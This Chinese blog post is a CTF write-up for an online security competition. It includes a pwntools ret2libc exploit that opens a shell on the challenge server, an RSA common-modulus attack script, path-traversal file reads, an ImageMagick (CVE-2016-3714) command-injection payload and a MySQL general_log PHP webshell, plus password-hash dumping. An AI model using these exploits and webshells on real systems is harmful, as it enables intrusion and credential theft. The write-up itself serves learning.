




巅峰极客线上第二场-writeup

原创

郁离歌  于 2018-08-26 20:38:24 发布  3427  收藏

分类专栏: [CTF-WRITE-UP](#) 文章标签: [ctf靶场渗透](#) [巅峰极客线上赛](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/like98k/article/details/82084149>

版权



[CTF-WRITE-UP](#) 专栏收录该内容

23 篇文章 4 订阅

订阅专栏

CTF

PlainR2B-PWN

很明显的栈溢出,第一次溢出打印write函数的地址,然后从和libc中的地址寻找偏移,最后利用system函数和libc中的/bin/sh, getshell后运行服务器上的getflag程序随意输入一些东西,进行多轮后会输出flag

贴脚本:

```

from pwn import *

r = remote('117.50.60.184', 12345)

lib = ELF('./libc-2.23.so')

elf = ELF('./pwn')

writegot = elf.got["write"]

writeplt = elf.plt["write"]

func = elf.symbols["game"]

writelib = lib.symbols["write"]

syslibc = lib.symbols["system"]

bin_addr = lib.search('/bin/sh').next()

payload = 'a' * (0x1c + 4) + p32(writeplt) + p32(func) + \
p32(1) + p32(writegot) + p32(4)

r.recvuntil("name?")

r.sendline("nana")

r.recvuntil("flag")

r.sendline(payload)

ta = r.recv()

t = r.recv()

print ta,t

writeaddr = u32(t[0:4])

sysaddr = writeaddr - writelib + syslibc

binaddr = writeaddr - writelib + bin_addr

payload1 = 'a' * (0x1c + 4) + p32(sysaddr) + p32(func) + p32(binaddr)

r.sendline(payload1)

r.interactive()

```

Antidbg-RE

分析程序逻辑定位关键函数,逆向程序发现是一个验证16进制的程序,提取变量进行正向解密

```

low4 =[0x06, 0x0C, 0x01, 0x07, 0x0B, 0x00, 0x06, 0x02, 0x01, 0x06,
0x01, 0x07, 0x02, 0x0D, 0x05, 0x01,0x03, 0x03, 0x0D, 0x04, 0x03, 0x01, 0x00, 0x0D, 0x08, 0x08,
0x01, 0x02, 0x0D, 0x07, 0x00, 0x01, 0x02, 0x06, 0x08, 0x02,0x09, 0x00, 0x05, 0x02,0x02,0x0d]

offset =[ 0x02, 0x02, 0x02, 0x02, 0x03, 0x01, 0x01, 0x02, 0x01, 0x01,
0x02, 0x01, 0x01, 0x00, 0x01, 0x01, 0x02, 0x02, 0x00, 0x01,
0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x02, 0x02, 0x00, 0x01,
0x01, 0x02, 0x02, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x02, 0x01,
0x01, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00]

print len(offset),len(low4)

a = [2,3,6,7]

flag= ""

for i in range(len(low4)):

    flag += chr(a[offset[i]]<<4 | low4[i])

print flag

```

sqli-WEB

明显要注入了，随手测试注册'admin+空格'用户名，登陆拿flag。

word-MISC

公众号拿一半flag，在字体这里拿到另外一半。

rsa-CRYPTO

用python脚本提取n和e，这里可以参考我之前的文章《[关于rsa的openssl命令一些随笔。](#)》，发现n一样e不一样。明显的共模攻击。网上找个脚本改改加个base64解码跑一下拿flag。

提取脚本：

```
from Crypto.PublicKey import RSA

with open('./pubkey2.pem', 'r') as f:

    key = RSA.importKey(f)

    n = key.n

    e = key.e

print n

print e
```

跑明文脚本：

```

import gmpy2

import string

from Crypto.Util.number import long_to_bytes

from base64 import *

n =
0x8989a398988456b3fef4a6ad86df3c99577f8978048de5436befc30d8d8c94958912aa526ff333b66857306ebb8de3
< [ ] >

e1 = 2333

e2 = 23333

with open('flag1.enc', 'r') as f:

    cipher1 = f.read()

    cipher1=b64decode(cipher1).encode('hex')

    cipher1 = string.atoi(cipher1, base=16)

with open('flag2.enc', 'r') as f:

    cipher2 = f.read()

    cipher2=b64decode(cipher2).encode('hex')

    cipher2 = string.atoi(cipher2, base=16)

# s & t

gcd, s, t = gmpy2.gcdext(e1, e2)

if s < 0:

    s = -s

    cipher1 = gmpy2.invert(cipher1, n)

if t < 0:

    t = -t

    cipher2 = gmpy2.invert(cipher2, n)

plain = gmpy2.powmod(cipher1, s, n) * gmpy2.powmod(cipher2, t, n) % n

print long_to_bytes(plain)

```

靶场

这次靶场打的蛮爽的，五个靶场通关了四个，就是时间有点不够，还是太菜了，抛砖引玉看都没看。

暗渡陈仓

虚实相接，需要出题者以声东击西的招式准备的歧路，找到正确的栈道。

- 1.提交上传点的地址的name(例如答:/xxxxx/)
- 2.提交系统管理员Hack用户的全名
- 3.超级管理员用户桌面根目录admin.txt文件的内容

打开靶场，右键查看源代码发现图片路径是u-Are-Admin 随机访问该目录，发现是一个上传绕过。用PHP可绕过，然后路径不知道，用任意读取downloadfile.php?file=读download.php发现路径是u-uploads-file，然后getshell。

蚁剑连上之后执行命令：net user查看到Hack用户名

然后在超级用户的桌面根目录找到admin.txt

瞒天过海

目的不是为了瞒天，只是做出题目的一种手段。

- 1.提交后台管理员密码
- 2.提交mysql密码
- 3.提交C盘根目录password.txt内容

主页面发现注入点，即可拿到后台登陆密码和mysql密码，s0md5解一下就ok了。

进入后台之后有上传和任意读取，上传会自动加.jpg，绕了好久，结果发现有任意读取。直接读根目录password.txt

```
/classes/downloadfile.php?file=../../../../../../../../../../../../password.txt
```

偷梁换柱

赛题是那样无情残忍，无义无理取闹，稍有踟蹰，他就偷梁换柱。

- 1.提交后台admin用户的密码
- 2.提交系统管理员ichunqiu用户的全名
- 3.提交/tmp/access.log的内容的前16位

一开始啥思路都没有，发现一个110.php还有hacker.jpg。后来扫波源码泄露才发现有.git泄露，githack打一发。发现数据库文件，拿到密码。登入后台。发现有上传功能，自动加.png后缀，绕不过。开始审计，发现picture.php有命令执行。

使用了/usr/local/bin/convert，随即想到CVE-2016-3714，找到poc看懂原理，改改就能getshell。

参考链接：<https://github.com/Medicean/VulApps/blob/master/i/imagemagick/1/poc.py>

我的payload:

```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|ls > /var/www/html/1.txt)'  
pop graphic-context
```

即可任意命令执行。然后users拿到用户名并查看文件cat /tmp/access.log

反客为主

以静谋动，反客为主，掌握真正的大权，才能不任人摆布。

- 1.提交phpStudy目录下Documents.txt的内容
- 2.提交系统用户/ichunqiu的密码
- 3.提交ichunqiu用户Desktop根目录password.txt的内容

进去之后发现有任意读取info/include.php?filename=../../../../../../../../../../../../windows/win.ini

但是好像没有什么laun用，扫目录发现phpmyadmin服务，用弱口令root/root登进去，然后general log getshell。

参考链接：<http://www.am0s.com/penetration/267.html>

我的payload:

```
show variables like %general%; #查看配置  
set global general_log = on; #开启general log模式  
set global general_log_file = 'C:/phpStudy/WWW/1.php'; #设置日志目录为shell地址  
select '<?php eval($_POST[cmd]);?>'; #写入shell
```

getshell之后想用mimikatz跑一发密码，结果gg了，不知道怎么回事，也不能外连msf，弹不出shell。直接读取password.txt，最后使用QuarksPwDump跑出了HASH，cmd5解密得到密码。

最后就是今天的经历吧。确实学到很多。也真的打的满爽的，可惜不知道能不能去决赛。
